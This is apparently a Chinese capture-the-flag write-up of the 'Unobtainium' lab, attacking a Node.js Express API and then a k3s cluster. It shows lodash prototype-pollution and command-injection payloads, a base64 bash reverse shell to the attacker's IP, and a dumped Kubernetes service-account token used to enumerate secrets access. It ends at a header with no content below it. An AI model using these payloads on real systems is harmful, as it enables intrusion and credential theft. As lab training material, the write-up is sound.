Tracks-cloud-Unobtianium

45k words

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106

└─$ sudo nmap -sS 10.10.10.235 -p80,8443,10250,10251,31337 --min-rate=2000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-04 03:02 EST
Nmap scan report for unobtainium.htb (10.10.10.235)
Host is up (0.28s latency).

PORT STATE SERVICE
80/tcp open http
8443/tcp open https-alt
10250/tcp open unknown
10251/tcp open unknown
31337/tcp open Elite

Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds

┌──(fonllge㉿harusaruhi)-[~/Downloads]
└─$ sudo nmap -sS 10.10.10.235 -p80,8443,10250,10251,31337 --min-rate=2000 -sV -sC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-04 03:02 EST
Nmap scan report for unobtainium.htb (10.10.10.235)
Host is up (0.26s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
8443/tcp open ssl/https-alt
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, DNS:unobtainium.htb, IP Address:10.10.10.235, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2025-12-04T07:21:49
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 93e7114d-e02a-4331-9d64-76c6596a6740
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Wed, 04 Dec 2024 08:03:05 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 159c3774-fa52-4e83-8f56-1cfb51471b87
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Wed, 04 Dec 2024 08:03:02 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| HTTPOptions:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 3ca068c4-7101-4d7c-8b4b-1f142e4ec1da
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Wed, 04 Dec 2024 08:03:04 GMT
| Content-Length: 129
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.10.235
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2025-12-04T07:21:51
10251/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Cache-Control: no-cache, private
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Wed, 04 Dec 2024 08:03:29 GMT
| Content-Length: 19
| page not found
| GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 404 Not Found
| Cache-Control: no-cache, private
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Wed, 04 Dec 2024 08:02:56 GMT
| Content-Length: 19
| page not found
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Cache-Control: no-cache, private
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Wed, 04 Dec 2024 08:02:57 GMT
| Content-Length: 19
|_ page not found
31337/tcp open http Node.js Express framework
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).

k8s端口全有鉴权

80给了三个包,我拿的deb

down下来后拆一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ pwd                                                                               
/Downloads/opt/unobtainium/resources


└─$ ls
app.asar

└─$ grep -a -E 'http://[^.]+\.htb' app.asar
"homepage": "http://unobtainium.htb",
url: 'http://unobtainium.htb:31337/',
//# sourceMappingURL=bootstrap.bundle.min.js.map$.ajax({url: "http://unobtainium.htb:31337",
url: 'http://unobtainium.htb:31337',
url: 'http://unobtainium.htb:31337/todo',

包里看到有些ajax请求

1
2
3
4
5
6
7
8
9
10
11
$.ajax({
url: 'http://unobtainium.htb:31337/todo',
type: 'post',
dataType:'json',
contentType:'application/json',
processData: false,
data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}),
success: function(data) {
$("#output").html(JSON.stringify(data));
}
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$(document).ready(function(){

$("#but_submit").click(function(){
var message = $("#message").val().trim();
$.ajax({
url: 'http://unobtainium.htb:31337/',
type: 'put',
dataType:'json',
contentType:'application/json',
processData: false,
data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text": message}}),
success: function(data) {
//$("#output").html(JSON.stringify(data));
$("#output").html("Message has been sent!");
}
});
});

给了个账号密码倒是,尝试请求http://unobtainium.htb:31337/todo,因为他读了个文件,可能会有lfi

这里抓他应用的包直接发一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ curl -XPOST 'http://10.10.10.235:31337/todo' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :"todo.txt"}' -svk
* Trying 10.10.10.235:31337...
* Connected to 10.10.10.235 (10.10.10.235) port 31337
> POST /todo HTTP/1.1
> Host: 10.10.10.235:31337
> User-Agent: curl/8.8.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 79
>
* upload completely sent off: 79 bytes
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 293
< ETag: W/"125-tNs2+nU0UiQGmLreBy4Pj891aVA"
< Date: Wed, 04 Dec 2024 08:35:12 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host 10.10.10.235 left intact
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}

获取到了todo.txt

接下来尝试读别的

1
2
3
4
5
6
7
8
9
10
11
12
─$ curl -XPOST 'http://10.10.10.235:31337/todo' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :"../../../../../../etc/passwd"}' -sk  
-sv
* Trying 10.10.10.235:31337...
* Connected to 10.10.10.235 (10.10.10.235) port 31337
> POST /todo HTTP/1.1
> Host: 10.10.10.235:31337
> User-Agent: curl/8.8.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 99
>
* upload completely sent off: 99 bytes

他就卡住了

将他filename置空试下

1
2
3
4
5
6
7
8
9
10
11
└─$ curl -XPOST 'http://10.10.10.235:31337/todo' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :""}' -sk                  
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: ENOENT: no such file or directory, open<br> &nbsp; &nbsp;at Object.openSync (fs.js:498:3)<br> &nbsp; &nbsp;at Object.readFileSync (fs.js:394:35)<br> &nbsp; &nbsp;at /usr/src/app/index.js:86:41<br> &nbsp; &nbsp;at Array.forEach (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at /usr/src/app/index.js:84:36<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /usr/src/app/node_modules/express/lib/router/index.js:281:22</pre>
</body>
</html>

出现报错,筛选一下他项目报错的文件,因为是nodejs的服务,大概率突破口在这

1
2
3
4
5
6
└─$ curl -XPOST 'http://10.10.10.235:31337/todo' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :""}' -sk|grep -E '[^/]+.js' -o|sort -u

<pre>Error: ENOENT: no such file or directory, open<br> &nbsp; &nbsp;at Object.openSync (fs.js:498:3)<br> &nbsp; &nbsp;at Object.readFileSync (fs.js
index.js
layer.js
route.js

再一次尝试读取,三个都试了下,只有index.js可以读到,不知道什么原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
return users.find((u) =>
u.name === auth.name &&
u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/', (req, res) => {
res.send(messages);
});

app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});

if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}

const message = {
icon: '__',
};

_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});

messages.push(message);
res.send({ok: true});
});

app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});

if (!user || !user.canDelete) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}

messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ok: true});
});
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}


filename = req.body.filename;
root.upload("./",filename, true);
res.send({ok: true, Uploaded_File: filename});
});

app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}

filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});

app.listen(3000);
console.log('Listening on port 3000...');

打这种东西上来就直接搜他的库,就像这里google-cloudstorage-commands,存在命令注入。

https://security.snyk.io/package/npm/google-cloudstorage-commands/0.0.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PoC
var root = require("google-cloudstorage-commands");
root.upload("./","& touch JHU", true);


app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}


filename = req.body.filename;
root.upload(\"./\",filename, true);
res.send({ok: true, Uploaded_File: filename});
});

我们获取到的index.js中也正存在这个漏洞

1
2
3
4
5
6
7
8
9
10
11
12
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}


filename = req.body.filename;
root.upload("./",filename, true);
res.send({ok: true, Uploaded_File: filename});
});

但是这里做了个校验

1
2
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {

一个是user要存在,一个是user需要有user.canUpload属性

看下user

1
2
3
4
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

admin有这个属性,但是密码我们获取不到

不过他这里有个merge,ctf的原型链中经常会用到的一个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});

if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}

const message = {
icon: '__',
};

_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});

messages.push(message);
res.send({ok: true});
});

考虑到可能是原型链污染,所以去查了下,这个方法是lodash库的,之前还真没细看他是哪个库的。

https://security.snyk.io/vuln/SNYK-JS-LODASHMERGE-173732

https://hackerone.com/reports/380873

这里可以给user注入一个canupload属性

然后琢磨一下他发包的方式

1
2
3
4
5
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});

找一下app里的

1
2
3
4
5
6
7
8
9
10
11
12
var message = $("#message").val().trim();                                                 
$.ajax({
url: 'http://unobtainium.htb:31337/',
type: 'put',
dataType:'json',
contentType:'application/json',
processData: false,
data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text": message}}),
success: function(data) {
//$("#output").html(JSON.stringify(data));
$("#output").html("Message has been sent!");
}

看样子直接把payload放到message,他就可以合并了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /upload HTTP/1.1

Host: 10.10.10.235:31337

User-Agent: curl/8.8.0

Accept: */*

Content-Type: application/json

Content-Length: 75

Connection: close



{"auth": {"name": "felamos", "password": "Winter2021"}, "message" :{"prototype": {"canUpload": true}}}
---

HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8

Content-Length: 11

ETag: W/"b-Ai2R8hgEarLmHKwesT1qcY913ys"

Date: Mon, 09 Dec 2024 06:29:30 GMT

Connection: close



{"ok":true}

发起请求(这步有可能需要多发几次)

1
2
3
4
5
6
└─$ curl -XPOST 'http://10.10.10.235:31337/upload' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :"& curl 10.10.16.8 "}' -sk
{"ok":true,"Uploaded_File":"& curl 10.10.16.8 "}

---

10.10.10.235 - - [09/Dec/2024 01:59:17] "GET / HTTP/1.1" 200 -

revshell

alt text

1
2
root@webapp-deployment-9546bc7cb-zjnnh:~# cat user.txt
xx

to Root

直接找本地pod的和kubernets交互的token

1
2
3
4
5
6
7
8
9
10
11
# pwd
/run/secrets/kubernetes.io/serviceaccount
# ls -alth
total 4.0K
drwxrwxrwt 3 root root 140 Dec 9 06:45 .
drwxr-xr-x 2 root root 100 Dec 9 06:45 ..2024_12_09_06_45_02.919104325
lrwxrwxrwx 1 root root 31 Dec 9 06:45 ..data -> ..2024_12_09_06_45_02.919104325
drwxr-xr-x 3 root root 4.0K Dec 8 15:21 ..
lrwxrwxrwx 1 root root 13 Dec 8 15:21 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root 16 Dec 8 15:21 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 12 Dec 8 15:21 token -> ..data/token

拿到看下当前对面的namespaces有哪些

1
2
3
4
5
6
└─$ curl -s --cacert ./ca.crt --header "Authorization: Bearer ${TOKEN}" -X GET https://10.10.10.235:8443/api/v1/namespaces -k -x http://127.0.0.1:8080|jq '.items.[].metadata.name'
"default"
"kube-system"
"kube-public"
"kube-node-lease"
"dev"

然后再挨个看下权限,通过刚刚我们拿到revshell的容器内的namespace可以看到到它属于default,所以看下其他的

dev

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
└─$ curl --cacert ca.crt  --header "Authorization: Bearer ${TOKEN}" -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"dev\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://10.10.10.235:8443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -x http://127.0.0.1:8080
HTTP/1.1 200 Connection established

HTTP/2 201

{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {
"creationTimestamp": null
},
"spec": {

},
"status": {
"resourceRules": [
{
"verbs": [
"get",
"list"
],
],
"resources": [
"namespaces"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
},
{
"verbs": [
"get",
"list"
],
"apiGroups": [
""
],
"resources": [
"pods"
]
}
],
"nonResourceRules": [
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/api",
"/api/*",
"/apis",
"/apis/*",
"/healthz",
"/livez",
"/openapi",
"/openapi/*",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/.well-known/openid-configuration",
"/openid/v1/jwks"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/healthz",
"/livez",
"/readyz",
"/version",
"/version/"
]
}
],
"incomplete": false
}
}

重点看当前token对dev有pod的查看和列出权限

1
curl --cacert ca.crt  --header "Authorization: Bearer $(cat token)" -s -k https://10.10.10.235:8443/api/v1/pods

我这里机器挂了,就没有补写回显内容了

能看到dev中有三个pod

1
2
3
4
5
6
7
└─$ curl --cacert ca.crt  --header "Authorization: Bearer ${TOKEN}" -s -k https://10.10.10.235:8443/api/v1/namespaces/dev/pods|jq '.items.[].metadata.managedFields.[].fieldsV1'|grep ip   
"k:{\"ip\":\"10.42.0.64\"}": {
"f:ip": {}
"k:{\"ip\":\"10.42.0.70\"}": {
"f:ip": {}
"k:{\"ip\":\"10.42.0.68\"}": {
"f:ip": {}

和服务端口

1
2
3
4
5
6
7
8
9
10
└─$ curl --cacert ca.crt  --header "Authorization: Bearer $(cat token_admin)" -s -k https://10.10.10.235:8443/api/v1/namespaces/dev/pods  -sk|jq|grep containerPort
"k:{\"containerPort\":3000,\"protocol\":\"TCP\"}": {
"f:containerPort": {},
"containerPort": 3000,
"k:{\"containerPort\":3000,\"protocol\":\"TCP\"}": {
"f:containerPort": {},
"containerPort": 3000,
"k:{\"containerPort\":3000,\"protocol\":\"TCP\"}": {
"f:containerPort": {},
"containerPort": 3000,

尝试从default的容器中访问这三台的3000口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# curl 10.42.0.63:3000 -skv
* Expire in 0 ms for 6 (transfer 0x55d152f160f0)
* Trying 10.42.0.63...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x55d152f160f0)
* Connected to 10.42.0.63 (10.42.0.63) port 3000 (#0)
> GET / HTTP/1.1
> Host: 10.42.0.63:3000
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 2
< ETag: W/"2-l9Fw4VUO7kr8CvBlt4zaMCqXZ0w"
< Date: Mon, 09 Dec 2024 07:39:54 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
{ [2 bytes data]
* Connection #0 to host 10.42.0.63 left intact
[]

看着header和最初暴露的31337挺像的

用31337的todo.txt访问测试一下

1
2
# curl -XPOST '10.42.0.63:3000/todo' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :"todo.txt"}' -sk 
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}

没错,就是同样的服务,那也就用同样的方式再拿一遍dev的pod内容器的shell就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@webapp-deployment-9546bc7cb-zjnnh:/run/secrets/kubernetes.io/serviceaccount# curl -XPUT 'http://10.42.0.70:3000' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message" :{"prototype": {"canUpload": true}}}'
* Expire in 0 ms for 6 (transfer 0x55bc69a890f0)
* Trying 10.42.0.64...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x55bc69a890f0)
* Connected to 10.42.0.64 (10.42.0.64) port 3000 (#0)
> PUT / HTTP/1.1
> Host: 10.42.0.64:3000
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 102
>
* upload completely sent off: 102 out of 102 bytes
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 11
< ETag: W/"b-Ai2R8hgEarLmHKwesT1qcY913ys"
< Date: Thu, 05 Dec 2024 07:52:12 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host 10.42.0.64 left intact
{"ok":true}

merge污染完再拿一下shell

1
curl -XPOST 'http://10.42.0.70:3000/upload' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :"a | echo L2Jpbi9iYXNoID4mIC9kZXYvdGNwLzEwLjEwLjE2LjkvMTAwODcgMD4mMQ==|base64 -d|bash "}' -skv

再一次拿到pod内的serviceaccount

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─$ nc -lvnp 10087                                                                                           
listening on [any] 10087 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.235] 56444
ls
index.js
node_modules
package-lock.json
package.json
todo.txt
cd /run/*/*
ls
serviceaccount
cd s*
ls
ca.crt
namespace
token
cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzY0OTIzMTIwLCJpYXQiOjE3MzMzODcxMjAsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZXYiLCJwb2QiOnsibmFtZSI6ImRldm5vZGUtZGVwbG95bWVudC03NzZkYmNmN2Q2LWc0NjU5IiwidWlkIjoiMWEzZjIyZGMtNTJlYS00MmYwLWEyMjMtOWFlZmU2YWJmYmVmIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMjk1NzViZmMtMTlkYi00MTBkLWJmZmYtZWQ1OGVjMWY0NzUzIn0sIndhcm5hZnRlciI6MTczMzM5MDcyN30sIm5iZiI6MTczMzM4NzEyMCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRldjpkZWZhdWx0In0.i2VtihjCVcByIoithsGw1TIjvD_7T7Mpnkgym0-jv6HWsov8cg2_PA15TWNlB7rKLKsEmvxzGFDCQBLrKf2svMQj1Y636I0vGLsyrkD8g2X-oqWIuDwtrnFRm0TfCki6jhJZ5bSQNR2jKFBlT_EvRQ81eZFsO4gNmU5Xt4eMPAmPv-Yfl755WeZ6HVYqByNT6iBP1rtNca7hEYVe4D_hv6M2G3SBaFoVDeC40-8uOyysXyj-KC_gRPmLASjHMG4QgkX60aNM3Fb-EwaU_cOKbKB2XSunLjbNtpxDucu59Fn5b8NmndLJ5ZSeb3xBPm37cRHyfNcrx0Lx-aumSfKh4Q

拿着新的token看下权限

dev

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
└─$ curl --cacert ca.crt  --header "Authorization: Bearer $(cat token_dev )" -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"dev\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://10.10.10.235:8443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
HTTP/1.1 200 Connection established

HTTP/2 201
audit-id: e82e1a07-2bff-4b19-bfe1-db90a4480d69
cache-control: no-cache, private
content-type: application/json
x-kubernetes-pf-flowschema-uid: efae0180-b029-4131-8587-9a1edc0329ea
x-kubernetes-pf-prioritylevel-uid: ba18e810-22c2-42c9-bc2b-7daf773f1d58
date: Thu, 05 Dec 2024 08:44:40 GMT
content-length: 1217

{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {
"creationTimestamp": null
},
"spec": {

},
"status": {
"resourceRules": [
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
}
],
"nonResourceRules": [
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/healthz",
"/livez",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/api",
"/api/*",
"/apis",
"/apis/*",
"/healthz",
"/livez",
"/openapi",
"/openapi/*",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/.well-known/openid-configuration",
"/openid/v1/jwks"
]
}
],
"incomplete": false
}
}

这个token的dev空间权限和之前没什么差异

kube-system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
└─$ curl --cacert ca.crt  --header "Authorization: Bearer $(cat token_dev )" -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"kube-system\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://10.10.10.235:8443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
HTTP/1.1 200 Connection established

HTTP/2 201
audit-id: 6f7bc2fa-333a-457b-b25c-f895196418c5
cache-control: no-cache, private
content-type: application/json
x-kubernetes-pf-flowschema-uid: efae0180-b029-4131-8587-9a1edc0329ea
x-kubernetes-pf-prioritylevel-uid: ba18e810-22c2-42c9-bc2b-7daf773f1d58
date: Fri, 06 Dec 2024 09:18:27 GMT
content-length: 1398

{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {
"creationTimestamp": null
},
"spec": {

},
"status": {
"resourceRules": [
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
},
{
"verbs": [
"get",
"list"
],
"apiGroups": [
""
],
"resources": [
"secrets"
]
}
],
"nonResourceRules": [
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/.well-known/openid-configuration",
"/openid/v1/jwks"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/healthz",
"/livez",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/api",
"/api/*",
"/apis",
"/apis/*",
"/healthz",
"/livez",
"/openapi",
"/openapi/*",
"/readyz",
"/version",
"/version/"
]
}
],
"incomplete": false
}
}

反而是对于kube-system有了查看secrets的权限

1
2
3
4
5
6
7
8
9
10
"verbs": [
"get",
"list"
],
"apiGroups": [
""
],
"resources": [
"secrets"
]

查看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
